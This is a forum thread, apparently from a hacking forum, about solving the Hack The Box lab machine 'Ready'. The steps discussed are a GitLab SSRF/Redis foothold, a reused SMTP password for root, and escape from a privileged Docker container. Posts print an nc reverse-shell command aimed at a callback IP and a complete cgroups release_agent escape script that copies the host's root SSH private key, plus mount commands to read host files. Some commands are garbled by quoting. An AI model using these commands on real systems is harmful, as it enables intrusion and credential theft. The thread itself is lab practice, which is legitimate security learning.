[Kali76]

[email protected]:~/Desktop/HacktheBox/Ready# nc -nlvp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.220.
Ncat: Connection from 10.10.10.220:59748.
/var/opt/gitlab/gitlab-rails/working


but I don't have an interactive shell, can you pass me the exact payload please, I'm going crazy !!

[0xvijay]

[email protected]:~/Desktop/HacktheBox/Ready# nc -nlvp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.220.
Ncat: Connection from 10.10.10.220:59748.
/var/opt/gitlab/gitlab-rails/working


but I don't have an interactive shell, can you pass me the exact payload please, I'm going crazy !!

Here u go User + root 
explained detaily

If u have any issues PM me or Post ur issue below

https://raidforums.com/Thread-Tutorial-R...EASY-STEPS

[Kali76]

[email protected]:~/Desktop/HacktheBox/Ready# nc -nlvp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.220.
Ncat: Connection from 10.10.10.220:59748.
/var/opt/gitlab/gitlab-rails/working


but I don't have an interactive shell, can you pass me the exact payload please, I'm going crazy !!

Here u go User + root 
explained detaily

If u have any issues PM me or Post ur issue below

https://raidforums.com/Thread-Tutorial-R...EASY-STEPS

ok thanks, there is writeup rev shell user git and root?

---

bro not work ...

`"cat /flag | nc 10.10.14.24 1234 -e /bin/bash"`

[email protected]:~/Desktop/HacktheBox/Ready# nc -nlvp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.220.
Ncat: Connection from 10.10.10.220:60548.
python3 -c "import pty:pty.spawn('bin/bash')";

[143kel]

1. Gitlab ssrf + redis for foothold
2. Smtp password in /opt/backup/gitlab.rb for root.
3. Break out of the container (mount host fs or use release agent to get what you need)

stuck at root container. any good resource to look at?

[cbra02011980ioj]

Nice machine.
Initially was going to solve as a laboratory, but this one even easier.
In general you need two things:
https://liveoverflow.com/gitlab-11-4-7-r...-ctf-2018/ - to get user
https://medium.com/better-programming/es...ae7d17f5a1 - to get root id_rsa from the host (you just need to make proper changes)
something like:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/notify_on_release
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /root/.ssh/id_rsa > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo 0 >> /tmp/cgrp/x/cgroup.procs"

cat /output

[southerndarkness]

1. Gitlab ssrf + redis for foothold
2. Smtp password in /opt/backup/gitlab.rb for root.
3. Break out of the container (mount host fs or use release agent to get what you need)

stuck at root container. any good resource to look at?

I used cgroups release_agent to help. Wrote the contents to /output
https://medium.com/better-programming/es...ae7d17f5a1

You can also just mount the fs. Something like:
`
df -h
mkdir /tmp/test
mount /dev/sda2 /tmp/test
cat /tmp/test/root/root.txt
`

[143kel]

1. Gitlab ssrf + redis for foothold
2. Smtp password in /opt/backup/gitlab.rb for root.
3. Break out of the container (mount host fs or use release agent to get what you need)

stuck at root container. any good resource to look at?

I used cgroups release_agent to help. Wrote the contents to /output
https://medium.com/better-programming/es...ae7d17f5a1

You can also just mount the fs. Something like:
`
df -h
mkdir /tmp/test
mount /dev/sda2 /tmp/test
cat /tmp/test/root/root.txt
`

Works like a champ!!

[0xvijay]

cool


so there're many ways to root this xD

[fakename151998]

How to capture user.txt from [email protected] please help

[br0]

Just came back to this dug and found smtp_password in gitlab.rb and was able to log in as root but still no flag since we're in a container. :/
any way to break out?


EDIT: rooted. basically realize youre in a privileged container. /opt/backup/docker-compose.yml

you can then abuse cgroups release_agent to dump contents of the host fs into a file in the container,

article here: https://medium.com/better-programming/es...ae7d17f5a1

Could you PM me? I have a question pertaining to this. Thank you!

---

Nice machine.
Initially was going to solve as a laboratory, but this one even easier.
In general you need two things:
https://liveoverflow.com/gitlab-11-4-7-r...-ctf-2018/ - to get user
https://medium.com/better-programming/es...ae7d17f5a1 - to get root id_rsa from the host (you just need to make proper changes)
something like:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/notify_on_release
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /root/.ssh/id_rsa > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo 0 >> /tmp/cgrp/x/cgroup.procs"

cat /output

How are you able to mount or use the -o or /cmd?

Am I missing something?

[cbra02011980ioj]

[/quote]

How are you able to mount or use the -o or /cmd?

Am I missing something?
[/quote]
If you are root, you can do  almost whatever you want.